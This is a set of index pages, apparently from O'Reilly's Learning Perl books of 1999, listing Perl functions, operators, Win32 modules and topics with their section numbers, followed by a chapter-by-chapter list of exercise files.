Perl for Win32 : 1.3.1. ActiveState Perl for Win32
Perl standard library : 6.2. Input from the Diamond Operator
Perl: The Motion Picture : 16.2. Packing and Unpacking Binary Data
perldoc command : 1.5.1. Documentation
PerlIIS extension : 18.7.2. PerlIS and PerlScript
PerlIS : 1.3.1. ActiveState Perl for Win32
PerlScript
1.3.1. ActiveState Perl for Win32
18.7.2. PerlIS and PerlScript
permissions
1.6.16. Maintaining a Last-Good-Guess Database
13.4. Modifying Permissions
modifying : 13.4. Modifying Permissions
permission bits, in dbmopen(�) : 17.2. Opening and Closing DBM Hashes
pi
computing with : A.1. Chapter 2, Scalar Data
obscure reference to : 16.2. Packing and Unpacking Binary Data
pipe : (see | (vertical bar))
Pipe module : B.4. Win32 Extensions
.plx extension : 1.5. Basic Concepts
pod : 18.1. The CGI.pm Module
POD : 1.5.1. Documentation
pointers : D.10.7. Function Pointers
pop(�) : 3.4.3. The push and pop Functions
example of : A.3. Chapter 4, Control Structures
popen library function, emulating : 14.3. Using Processes as Filehandles
port numbers : C. Networking Clients
powers of ten, example of, with substr(�) : 15.2. Extracting and Replacing a Substring
Practical Extraction and Report Language : 11.1. What Is a Format?
pragmas, definition of : B.1. Library Terminology
precedence : 2.4.3. Operator Precedence and Associativity
in regular expressions : 7.3.4. Precedence
parentheses and : 2.4.3. Operator Precedence and Associativity
predefined variables : D.6. Many, Many Predefined Variables
print(�)
2.8. Output with print
6.3.1. Using print for Normal Output
17.4. Fixed-Length Random-Access Databases
$_ and : 4.6. The foreach Statement
array literals and : 3.2. Literal Representation
example of
1.6.1. The "Hello, world" Program
1.6.17. The Final Programs
filehandle keyword and : 1.6.12. Warning Someone When Things Go Astray
return value of : 6.3.1. Using print for Normal Output
writes to same filehandle and : 11.5. The Top-of-Page Format
printf(�) : 6.3.2. Using printf for Formatted Output
example of
A.3. Chapter 4, Control Structures
A.5. Chapter 6, Basic I/O
4.7. Exercises
process exit value : 14.3. Using Processes as Filehandles
process launching : 14.4. Summary of Process Operations
Process module
B.4. Win32 Extensions
14.5. Win32::Process
processes
creating : 14.1. Using system and exec
as filehandles : 14.3. Using Processes as Filehandles
Windows NT and : 14.5. Win32::Process
products, finding : 9.4. Labeled Blocks
ProgID
19.2. Creating Automation Objects
19.3. Using Automation Objects
Programming Perl : (see Camel Book)
prompt, example of : 1.6.2. Asking Questions and Remembering the Result
properties : 19.1. Introduction to OLE Automation
push(�) : 3.4.3. The push and pop Functions
pwd command : 12.1. Moving Around the Directory Tree

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: Q

qw(�)
1.6.5. More than One Secret Word
18.4. Passing Parameters via CGI

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: R

-r operator : 10.6. The -x File Tests
rand(�) : 3.8. Exercises
example of : A.2. Chapter 3, Arrays and List Data
random access, seek(�) and : 17.4. Fixed-Length Random-Access Databases
ranges of characters : 7.3.1. Single-Character Patterns
read(�) : 17.4. Fixed-Length Random-Access Databases
readdir(�) : 12.5. Reading a Directory Handle
reading data from a command : 14.3. Using Processes as Filehandles
reading from a file : 10.5. Using Filehandles
reading from standard input : 6.1. Input from STDIN
reading Registry values : 16.5. Opening and Reading Registry Values
redo operator : 9.3. The redo Statement
regedit.exe, regedt32.exe utilities : 16.4. The Registry
Registry module
A.15. Chapter 16, System Information
B.4. Win32 Extensions
Registry package
16.4. The Registry
16.4.1. The Registry Structure
Registry, Windows NT : 16.4. The Registry
regular expressions
1.6.7. Handling Varying Input Formats
7.1. Concepts About Regular Expressions
alternation in : 7.3.2.4. Alternation
anchoring in : 7.3.3. Anchoring Patterns
backtracking in : 7.3.2.2. Multipliers
character classes in : 7.3.1. Single-Character Patterns
compared with globbing : 12.2. Globbing
example of
1.6.8. Making It Fair for the Rest
1.6.9. Making It a Bit More Modular
9.1. The last Statement
extended syntax : D.8. Additional Regular Expression Features
grouping patterns of : 7.3.2. Grouping Patterns
non-special characters of : 7.3.1. Single-Character Patterns
precedence in : 7.3.4. Precedence
split(�) and : 7.6.1. The split Function
variable interpolation : 7.4.4. Using Variable Interpolation
removing a file : 13.1. Removing a File
removing characters : 15.5. Transliteration
removing the last character : 2.6.3. The chop( ) and chomp( ) Functions
rename command (Windows NT) : 13.2. Renaming a File
rename(�)
1.6.15. Making Those Old Word Lists More Noticeable
13.2. Renaming a File
example of : A.12. Chapter 13, File and Directory Manipulation
renaming files : 13.2. Renaming a File
examples of : 1.6.15. Making Those Old Word Lists More Noticeable
report generating, example of : 1.6.14. Listing the Secret Words
reports, writing : 11.1. What Is a Format?
result : 2.4. Scalar Operators
return status, backwards for system(�) : 14.1. Using system and exec
return values : 1.6.9. Making It a Bit More Modular
from subroutine, example of : 1.6.17. The Final Programs
of tr : 15.5. Transliteration
print(�) and : 6.3.1. Using print for Normal Output
read(�) and : 17.4. Fixed-Length Random-Access Databases
of select(�) : 11.6.1. Using select to Change the Filehandle
subroutines : 8.3. Return Values
reverse(�) : 3.4.5. The reverse Function
example of
A.2. Chapter 3, Arrays and List Data
A.5. Chapter 6, Basic I/O
right angle brackets (\>), as format field characters : 11.4.1. Text Fields
right associativity : 2.4.3. Operator Precedence and Associativity
rindex(�) : 15.1. Finding a Substring
example of : A.14. Chapter 15, Other Data Transformation
rm command, unlink(�) and : 13.1. Removing a File
rmdir command, and rmdir(�) : 13.3. Making and Removing Directories

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: S

s operator
example of
1.6.17. The Final Programs
12.2. Globbing
making basename of file and : A.12. Chapter 13, File and Directory Manipulation
substitute operator : 7.5. Substitutions
-s operator : 10.6. The -x File Tests
s option, tr(�) : 15.5. Transliteration
\s, in regular expressions : 7.3.1. Single-Character Patterns
scalar assignment, used as a value : 2.6. Scalar Operators and Functions
scalar context
3.4.1. Assignment
3.5. Scalar and List Context
readdir(�) : 12.5. Reading a Directory Handle
scalar data : 2.1. What Is Scalar Data?
scalar values, assigned to array variables : 3.4.1. Assignment
scalar variables
1.6.2. Asking Questions and Remembering the Result
2.5. Scalar Variables
operators for : 2.6. Scalar Operators and Functions
scientific notation, in floating-point numbers : 2.2.2. Float Literals
Scooby Doo, pronouncing "Windex" : 15.1. Finding a Substring
secret words, guessing : 1.6.4. Guessing the Secret Word
security : D.10.1. Security Matters
seek(�) : 17.4. Fixed-Length Random-Access Databases
select(�) : 11.6.1. Using select to Change the Filehandle
return value of : 11.6.1. Using select to Change the Filehandle
Semaphore module : B.4. Win32 Extensions
semicolon (;), as statement terminator : 1.6.1. The "Hello, world" Program
sequence, in regular expressions : 7.3.2.1. Sequence
Service module : B.4. Win32 Extensions
SetCwd module : B.4. Win32 Extensions
SetFileAttributes method : 13.4. Modifying Permissions
setting Registry values : 16.6. Setting Registry Values
SetValue(�) : 16.6. Setting Registry Values
SetValueEx(�) : 16.6. Setting Registry Values
shebang line : 1.5. Basic Concepts
shell, avoiding for new processes : 14.1. Using system and exec
shift(�) : 3.4.4. The shift and unshift Functions
ShortCut module : B.4. Win32 Extensions
single-quoted strings : 2.3.1. Single-Quoted Strings
skiing : 1.6. A Stroll Through Perl
slash : 10.3. Using Pathnames and Filenames
slices
of array : 3.4.2. Array Element Access
on literal lists : 3.4.2. Array Element Access
variable interpolation in strings : 3.7. Variable Interpolation of Arrays
Socket module : C. Networking Clients
sockets : C. Networking Clients
sort(�)
1.6.16. Maintaining a Last-Good-Guess Database
3.4.6. The sort Function
controlling sort order of : 15.4. Advanced Sorting
example of
A.11. Chapter 12, Directory Access
A.14. Chapter 15, Other Data Transformation
example of : A.11. Chapter 12, Directory Access
sort comparison routines : 15.4. Advanced Sorting
using array lookups : 15.4. Advanced Sorting
sorting
advanced : 15.4. Advanced Sorting
example of numeric : 15.4. Advanced Sorting
Sound module : B.4. Win32 Extensions
space
between array values when interpolated : 3.7. Variable Interpolation of Arrays
in regular expressions : 7.3.1. Single-Character Patterns
spaceship (<=>) operator : 15.4. Advanced Sorting
example of : A.16. Chapter 17, Database Manipulation
Spawn module : B.4. Win32 Extensions
split(�) : 7.6.1. The split Function
example of : 11.3. Invoking a Format
spotted owls : 13.1. Removing a File
sprintf(�) : 15.3. Formatting Data with sprintf( )
compared with pack(�) : 16.2. Packing and Unpacking Binary Data
example of : 11.4.2. Numeric Fields
Sprite : 2.3.2. Double-Quoted Strings
square brackets ([�]), in regular expressions : 7.3.1. Single-Character Patterns
standard distribution, Perl : 1.3.2. Standard Perl Distribution
standard error of command in backquotes : 14.2. Using Backquotes
standard input
example of using : 2.7. <STDIN> as a Scalar Value
of command in backquotes : 14.2. Using Backquotes
reading from : 6.1. Input from STDIN
Standard Modules : B.2. Standard Modules
standard output
example of using : 2.8. Output with print
stat(�) : 10.7. The stat Function
statement block
(see also blocks)
1.6.3. Adding Choices
4.1. Statement Blocks
STDERR
1.6.10. Moving the Secret Word List into a Separate File
10.1. What Is a Filehandle?
STDIN
1.6.2. Asking Questions and Remembering the Result
1.6.10. Moving the Secret Word List into a Separate File
6.1. Input from STDIN
10.1. What Is a Filehandle?
in array context : 3.6. <STDIN> as an Array
example of : A.5. Chapter 6, Basic I/O
example of
1.6.17. The Final Programs
6.1. Input from STDIN
9.1. The last Statement
as scalar value : 2.7. <STDIN> as a Scalar Value
as target of a match : 7.4.1. Selecting a Different Target (the =~ Operator)
undef return value and : 2.9. The Undefined Value
STDOUT
1.6.10. Moving the Secret Word List into a Separate File
10.1. What Is a Filehandle?
string concatenation : 2.4.2. Operators for Strings
string operators : 2.4.2. Operators for Strings
strings
2.1. What Is Scalar Data?
2.3. Strings
automatic conversion to numbers : 2.4.4. Conversion Between Numbers and Strings
counting characters in : 15.5. Transliteration
deleting characters from : 15.5. Transliteration
length of : 2.3. Strings
literal representation of : 2.3. Strings
pathnames in : 2.3.2. Double-Quoted Strings
removing last character : 2.6.3. The chop( ) and chomp( ) Functions
sub keyword
1.6.9. Making It a Bit More Modular
8.1. Defining a User Function
example of
A.7. Chapter 8, Functions
1.6.17. The Final Programs
subkeys : (see keys, registry)
subroutine definitions
example of : A.7. Chapter 8, Functions
location of in file : 1.6.9. Making It a Bit More Modular
location of in text : 8.1. Defining a User Function
re-defining : 8.1. Defining a User Function
subroutines
1.6.9. Making It a Bit More Modular
8.1. Defining a User Function
arguments : 8.4. Arguments
invoking : 8.2. Invoking a User Function
lack of locals : 8.1. Defining a User Function
nested invocation of : 8.2. Invoking a User Function
return values of : 8.3. Return Values
scope of variables : 8.1. Defining a User Function
subscript reference, introduced : 1.6.5. More than One Secret Word
subscripts
array expressions : 3.4.2. Array Element Access
with array elements : 3.4.2. Array Element Access
substitute operator
1.6.8. Making It Fair for the Rest
7.2. Simple Uses of Regular Expressions
7.5. Substitutions
substr(�) : 15.2. Extracting and Replacing a Substring
example of : A.14. Chapter 15, Other Data Transformation
variable as first argument : 15.2. Extracting and Replacing a Substring
substrings, finding : 15.1. Finding a Substring
subtraction, operator for : 2.4.1. Operators for Numbers
subtrees, Registry : 16.4.1. The Registry Structure
symlink(�) : 13. File and Directory Manipulation
system(�) : 14.1. Using system and exec
list of arguments to : 14.1. Using system and exec
PATH : 14.1. Using system and exec

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: T

-T operator : 10.6. The -x File Tests
-t operator : 10.6. The -x File Tests
Tab : 2.3.2. Double-Quoted Strings
tar utility : 1.3.2. Standard Perl Distribution
TCP, Perl and : C. Networking Clients
technical support : 1.4. Support
temperature : 4.7. Exercises
template of format : 11.2. Defining a Format
text editors, and updating databases : 17.5. Variable-Length ( Text) Databases
text fields (in formats) : 11.4.1. Text Fields
time
manipulation of : 1.6.16. Maintaining a Last-Good-Guess Database
UNIX internal format : 13.5. Modifying Timestamps
time operator
1.6.17. The Final Programs
1.6.16. Maintaining a Last-Good-Guess Database
13.5. Modifying Timestamps
timestamps, modifying : 13.5. Modifying Timestamps
_TOP, as suffix for top-of-page format : 11.5. The Top-of-Page Format
top-of-page format
11.5. The Top-of-Page Format
11.6.3. Changing the Top-of-Page Format Name
example of : 1.6.14. Listing the Secret Words
tr operator : 15.5. Transliteration
example of
1.6.8. Making It Fair for the Rest
1.6.17. The Final Programs
translate operator, introduced : 1.6.8. Making It Fair for the Rest
transliteration : 15.5. Transliteration
true : 4.2. The if/unless Statement
regular expressions : 7.2. Simple Uses of Regular Expressions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: U

UNC path : 10.3. Using Pathnames and Filenames
undef : 2.9. The Undefined Value
array element access : 3.4.2. Array Element Access
as default value for $^I : 17.5. Variable-Length ( Text) Databases
as initial value of local variables : 8.5. Private Variables in Functions
as return value from globbing : 12.2. Globbing
as return value from pop(�) : 3.4.3. The push and pop Functions
as return value from readdir(�) : 12.5. Reading a Directory Handle
associative array elements : 5.2. Hash Variables
resulting from split(�) : 7.6.1. The split Function
STDIN and : 6.1. Input from STDIN
to control dbmopen(�) : 17.2. Opening and Closing DBM Hashes
when assigning lists : 3.4.1. Assignment
underscore (_), in variable names : 2.5. Scalar Variables
unless modifier : 9.5. Expression Modifiers
unless statement : (see if statement)
example of : 10.4. A Slight Diversion: die
unlink(�) : 13.1. Removing a File
example of : A.12. Chapter 13, File and Directory Manipulation
unpack(�) : 16.2. Packing and Unpacking Binary Data
example of
16.3. Getting Network Information
17.4. Fixed-Length Random-Access Databases
return values from gethostbyname(�) : 16.3. Getting Network Information
unshift(�) : 3.4.4. The shift and unshift Functions
until modifier : 9.5. Expression Modifiers
until statement : (see while statement)
uppercase for filehandles : 1.6.10. Moving the Secret Word List into a Separate File
use statement
18.4. Passing Parameters via CGI
19.2. Creating Automation Objects
user function : (see subroutines)
utime(�) : 13.5. Modifying Timestamps

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: V

values(�) : 5.4.2. The values Function
variable
names for : 1.6.8. Making It Fair for the Rest
variable interpolation : 2.6.4. Interpolation of Scalars into Strings
array variables : 3.7. Variable Interpolation of Arrays
double-quoted strings and : 2.3.2. Double-Quoted Strings
globbing : 12.2. Globbing
regular expressions : 7.4.4. Using Variable Interpolation
the substitute operator : 7.5. Substitutions
used with system(�) : 14.1. Using system and exec
variable part of format : 11.1. What Is a Format?
variables
array : 3.3. Variables
associative array : 5.2. Hash Variables
default value of : 2.9. The Undefined Value
predefined : D.6. Many, Many Predefined Variables
scalar : 2.5. Scalar Variables
subroutines and : 8.1. Defining a User Function
Variant : 19.4. Variants
VARIANT : 19.4. Variants
Very Bad Programming Style, example of : 3.4.2. Array Element Access
Visual Basic : 19.5.1. Translating Samples from Visual Basic
von Neumann, John : Foreword to the First Edition of Learning Perl
vowels, matching : 7.3.1. Single-Character Patterns

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: W

-w operator : 10.6. The -x File Tests
\w, in regular expressions : 7.3.1. Single-Character Patterns
Wall, Larry
1.4. Support
9.6. &&, ||, and ?: as Control Structures
Foreword to the First Edition of Learning Perl
Webget client (example) : C.2. A Webget Client
while modifier : 9.5. Expression Modifiers
while statement
1.6.4. Guessing the Secret Word
4.3. The while/until Statement
example of
A.3. Chapter 4, Control Structures
1.6.13. Many Secret Word Files in the Current Directory
1.6.9. Making It a Bit More Modular
5.4.1. The keys Function
5.4.3. The each Function
6.1. Input from STDIN
last operator : 9.1. The last Statement
next operator : 9.2. The next Statement
redo operator : 9.3. The redo Statement
whitespace : 1.5. Basic Concepts
in formats : 11.2. Defining a Format
in pack format string : 16.2. Packing and Unpacking Binary Data
in Perl programs : 1.5. Basic Concepts
in regular expressions : 7.3.1. Single-Character Patterns
Win32 Extensions : B.4. Win32 Extensions
Win32::AbortSystemShutdown module : B.4. Win32 Extensions
Win32::AdminMisc module : B.4. Win32 Extensions
Win32::BuildNumber module : B.4. Win32 Extensions
Win32::ChangeNotify module : B.4. Win32 Extensions
Win32::Clipboard module : B.4. Win32 Extensions
Win32::Console module : B.4. Win32 Extensions
Win32::DomainName module : B.4. Win32 Extensions
Win32::Error module : B.4. Win32 Extensions
Win32::EventLog module : B.4. Win32 Extensions
Win32::ExpandEnvironmentStrings module : B.4. Win32 Extensions
Win32::File module
B.4. Win32 Extensions
13.4. Modifying Permissions
Win32::FileSecurity module
B.4. Win32 Extensions
13.4. Modifying Permissions
Win32::FormatMessage module : B.4. Win32 Extensions
Win32::FsType function : 10.7. The stat Function
Win32::FsType module : B.4. Win32 Extensions
Win32::GetCwd function : 12.1. Moving Around the Directory Tree
Win32::GetCwd module : B.4. Win32 Extensions
Win32::GetLastError module : B.4. Win32 Extensions
Win32::GetNextAvailDrive module : B.4. Win32 Extensions
Win32::GetOSVersion module : B.4. Win32 Extensions
Win32::GetShortPathName function : 10.3. Using Pathnames and Filenames
Win32::GetShortPathName module : B.4. Win32 Extensions
Win32::GetTickCount module : B.4. Win32 Extensions
Win32::InitiateSystemShutdown module : B.4. Win32 Extensions
Win32::Internet module : B.4. Win32 Extensions
Win32::IPC module : B.4. Win32 Extensions
Win32::IsWin95 module : B.4. Win32 Extensions
Win32::IsWinNT module : B.4. Win32 Extensions
Win32::LoginName function : 16.1. Getting User and Machine Information
Win32::LoginName module : B.4. Win32 Extensions
Win32::LookupAccountName module : B.4. Win32 Extensions
Win32::LookupAccountSID module : B.4. Win32 Extensions
Win32::Mutex module : B.4. Win32 Extensions
Win32::NetAdmin module
B.4. Win32 Extensions
16.1. Getting User and Machine Information
Win32::NetResource module
B.4. Win32 Extensions
12.5. Reading a Directory Handle
Win32::NodeName function : 16.1. Getting User and Machine Information
Win32::NodeName module : B.4. Win32 Extensions
Win32::ODBC module
B.4. Win32 Extensions
17.6. Win32 Database Interfaces
Win32::OLE module
A.18. Chapter 19, OLE Automation
B.4. Win32 Extensions
19.2. Creating Automation Objects
Win32::Pipe module : B.4. Win32 Extensions
Win32::Process : 14.5. Win32::Process
Win32::Process module
B.4. Win32 Extensions
14.5. Win32::Process
Win32::Registry module
A.15. Chapter 16, System Information
B.4. Win32 Extensions
Win32::Registry package
16.4. The Registry
16.4.1. The Registry Structure
Win32::Semaphore module : B.4. Win32 Extensions
Win32::Service module : B.4. Win32 Extensions
Win32::SetCwd module : B.4. Win32 Extensions
Win32::Shortcut module : B.4. Win32 Extensions
Win32::Sound module : B.4. Win32 Extensions
Win32::Spawn module : B.4. Win32 Extensions
Windows 95 vs. Windows NT : 1.3.3. Windows NT and Windows 95
Windows NT
processes on : 14.5. Win32::Process
Registry : 16.4. The Registry
Windows 95 versus : 1.3.3. Windows NT and Windows 95
WinZip utility : 1.3.2. Standard Perl Distribution
word boundary (regular expressions)
1.6.7. Handling Varying Input Formats
7.3.3. Anchoring Patterns
word characters, in regular expressions : 7.3.1. Single-Character Patterns
words, and filled fields in formats : 11.4.4. Filled Fields
World Wide Web
B.2.8. The World Wide Web
18. CGI Programming
write(�)
1.6.14. Listing the Secret Words
1.6.17. The Final Programs
11.3. Invoking a Format

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: X

x operator (exmaple) : A.1. Chapter 2, Scalar Data
-x operator : 10.6. The -x File Tests
x, as string repetition operator : 2.4.2. Operators for Strings

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: Z

-z operator : 10.6. The -x File Tests

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Examples from Learning Perl

Examples for Learning Perl

Chapter 1: Introduction
"hello" example
"last" example
"secret" example

Chapter 2: Scalar Data
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 3: Arrays and List Data
Exercise 1a
Exercise 1b
Exercise 2
Exercise 3

Chapter 4: Control Structures
Exercise 1
Exercise 2
Exercise 3
Exercise 4
Exercise 5a
Exercise 5b

Chapter 5: Hashes
Exercise 1a
Exercise 1b
Exercise 2

Chapter 6: Basic I/O
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 7: Regular Expressions
Exercise 1a
Exercise 1b
Exercise 1c
Exercise 1d
Exercise 1d2
Exercise 1e
Exercise 2a
Exercise 2b
Exercise 2c
Exercise 3
Exercise 4
Exercise 5

Chapter 8: Functions
Exercise 1
Exercise 2
Exercise 3

Chapter 9: Miscellaneous Control Structures
Exercise 1
Exercise 2

Chapter 10: Filehandles and File Tests
Exercise 1
Exercise 2
Exercise 3
Exercise 4

Chapter 11: Formats
Exercise 1
Exercise 2
Exercise 3

Chapter 12: Directory Access
Exercise 1
Exercise 2a
Exercise 2b

Chapter 13: File and Directory Manipulation
Exercise 1
Exercise 2
Exercise 3
Exercise 4
Exercise 5

Chapter 14: Process Management
Exercise 1
Exercise 2
Exercise 3
Exercise 4
Exercise 5

Chapter 15: Other Data Transformation
Exercise 1
Exercise 2
Exercise 3
Exercise 4a
Exercise 4b

Chapter 16: System Database Access
Exercise 1

Chapter 17: User Database Manipulation
Exercise 1
Exercise 2

Chapter 18: Converting Other Languages to Perl
Exercise 1

Chapter 19: CGI Programming
"guestbook" example
"ice cream" example, version 4
"sort unique links" example
Exercise 1
Exercise 2


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: Symbols and Numbers

0666, as permission : 13.5. Modifying Permissions
\1, \2, ... in regular expressions
7.3.2.3. Parentheses as memory
7.4.5. Special Read-Only Variables
& (ampersand)
&& operator : 9.6. && and || as Control Structures
query strings and : 19.2. Your CGI Program in Context
* (asterisk)
**= operator : 2.6.1. Binary Assignment Operators
** (exponentiation) operator : 2.4.1. Operators for Numbers
in pack format string : 16.2. Packing and Unpacking Binary Data
as prefix : D.7. Symbol Table Manipulation with *FRED
in regular expressions : 7.3.2.2. Multipliers
@ (at sign)
@*, in formats : 11.4.3. Multiline Fields
@_ (subroutine arglist)
1.5.9. Making It a Bit More Modular
8.4. Arguments
as array name prefix : 1.5.5. More than One Secret Word
as format field delimiter : 11.4.1. Text Fields
as prefix for array variables : 3.3. Variables
` (backquotes) : 1.5.12. Warning Someone When Things Go Astray
as command invocation : 14.2. Using Backquotes
example of : A.13. Chapter 14, Process Management
\ (backslash) : 2.3.2. Double-Quoted Strings
\@ reference notation : 19.7.1. References
escapes : 2.3.1. Single-Quoted Strings
in system(�) argument : 14.1. Using system and exec
in regular expressions
7.3.1. Single-Character Patterns
7.3.3. Anchoring Patterns
as memory access : 7.3.2.3. Parentheses as memory
! operator
example of : A.13. Chapter 14, Process Management
as logical-not operator : 1.5.9. Making It a Bit More Modular
!= operator : 2.4.2. Operators for Strings
[ (left bracket) in double-quoted strings : 3.7. Variable Interpolation of Arrays
[�] (brackets) reference notation : 19.7.1. References
^ (caret)
as anchor in regular expressions : 7.3.3. Anchoring Patterns
as filled-field in formats : 11.4.4. Filled Fields
in regular expressions : 7.3.1. Single-Character Patterns
{} (curly braces)
in double-quoted strings : 2.6.4. Interpolation of Scalars into Strings
in regular expressions : 7.3.2.2. Multipliers
required in if statements : 4.2. The if/unless Statement
$ (dollar sign)
$1, $2,... backreferences : 7.4.5. Special Read-Only Variables
$a, $b, ..., sorting with : 15.4. Advanced Sorting
$& (match string) : 7.4.5. Special Read-Only Variables
$` (before-match string) : 7.4.5. Special Read-Only Variables
$^ variable : 11.6.3. Changing the Top-of-Page Format Name
$^I variable : 17.5. Variable-Length ( Text) Databases
$^T variable : 10.5. The -x File Tests
$: variable : 11.4.4. Filled Fields
$= variable : 11.6.5. Changing the Position on the Page
$# for arrays : 3.4.2. Array Element Access
$- variable : 11.6.5. Changing the Position on the Page
interaction with $= variable : 11.6.5. Changing the Position on the Page
$% (special variable), example of : 1.5.14. Listing the Secret Words
$' (after-match string) : 7.4.5. Special Read-Only Variables
$/ variable
6.1. Input from STDIN
14.2. Using Backquotes
$~ variable : 11.6.2. Changing the Format Name
$_
foreach statement and : 4.5. The foreach Statement
implicit assignment to : 6.1. Input from STDIN
selecting other with =~ operator : 7.4.1. Selecting a Different Target (the =~ Operator)
$_[0] : 8.4. Arguments
removing significance in strings : 2.6.4. Interpolation of Scalars into Strings
as scalar variable prefix : 2.5. Scalar Variables
. (dot)
.. for parent directory : 13.3.1. About Hard and Soft Links
.. list construction operator : 3.2. Literal Representation
.= operator : 2.6.1. Binary Assignment Operators
as current directory : A.11. Chapter 12, Directory Access
example of : A.7. Chapter 8, Functions
in regular expressions : 7.3.1. Single-Character Patterns
as self-name for directory : 13.3.1. About Hard and Soft Links
= (equal sign)
== operator : 2.4.2. Operators for Strings
=> operator : 19.7.2. Fancier Calling Sequences
=~ operator : 7.4.1. Selecting a Different Target (the =~ Operator)
example of : 1.5.8. Making It Fair for the Rest
substitution and : 7.5. Substitutions
tr operator and : 15.5. Transliteration
> (greater than) : 2.4.2. Operators for Strings
>&, in open(�) : 14.5. Summary of Process Operations
>= operator : 2.4.2. Operators for Strings
#!/usr/bin/perl line : 1.4. Basic Concepts
- (hyphen)
-= operator : 11.4.2. Numeric Fields
-- operator : 2.6.2. Autoincrement and Autodecrement
in regular expression ranges : 7.3.1. Single-Character Patterns
< (less than) : 2.4.2. Operators for Strings
< and > as globbing delimiters : 12.2. Globbing
<= operator : 2.4.2. Operators for Strings
<=> : (see spaceship (<=>) operator)
format field characters : 11.4.1. Text Fields
<\> : (see diamond operator)
% (percent sign) as associative array prefix
1.5.6. Giving Each Person a Different Secret Word
5.2. Hash Variables
+ (plus sign) in regular expressions : 7.3.2.2. Multipliers
+ (plus)
modifying open(�) : 17.4. Fixed-Length Random Access Databases
+= operator
A.3. Chapter 4, Control Structures
2.6.1. Binary Assignment Operators
++ operator
2.6.2. Autoincrement and Autodecrement
14.1. Using system and exec
# (pound sign)
as comment character : 1.4. Basic Concepts
as format field characters : 11.4.2. Numeric Fields
? (question mark) in regular expressions : 7.3.2.2. Multipliers
; (semicolon) as statement terminator : 1.5.1. The "Hello, World" Program
/ (slash)
changing regular expressions and : 7.4.3. Using a Different Delimiter
choosing alternate to, in substitution : 7.5. Substitutions
regular expression delimiter : 7.2. Simple Uses of Regular Expressions
~ (tilde) in formats : 11.4.4. Filled Fields
_ (underscore) in variable names : 2.5. Scalar Variables
| (vertical bar)
as format field characters : 11.4.1. Text Fields
open(�) and
1.5.12. Warning Someone When Things Go Astray
14.3. Using Processes as Filehandles
in regular expressions : 7.3.2.4. Alternation
|| (logical-or) operator : 1.5.9. Making It a Bit More Modular
as control structure : 9.6. && and || as Control Structures
die(�) and : 10.3. A Slight Diversion: die
example of
A.7. Chapter 8, Functions
A.15. Chapter 16, System Database Access
15.4. Advanced Sorting

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Z

Index: A

-A operator : 10.5. The -x File Tests
a2p program : 18.1. Converting awk Programs to Perl
Abba : 15.5. Transliteration
access time, changing : 13.7. Modifying Timestamps
ACTION attribute (<FORM>) : 19.6. Form Generation
action of signals : 14.6. Sending and Receiving Signals
ActiveWare : 19.10.2. Embedded Perl
addition, operator for : 2.4.1. Operators for Numbers
address labels, and formats, examples of : 11.3. Invoking a Format
aliases database : 17.1. DBM Databases and DBM Hashes
aliases, CGI programs and : 19.3. Simplest CGI Program
:all import tag : 19.5. Less Typing
alternation, in regular expressions : 7.3.2.4. Alternation
Amiga, Perl on the : 1.3. Availability
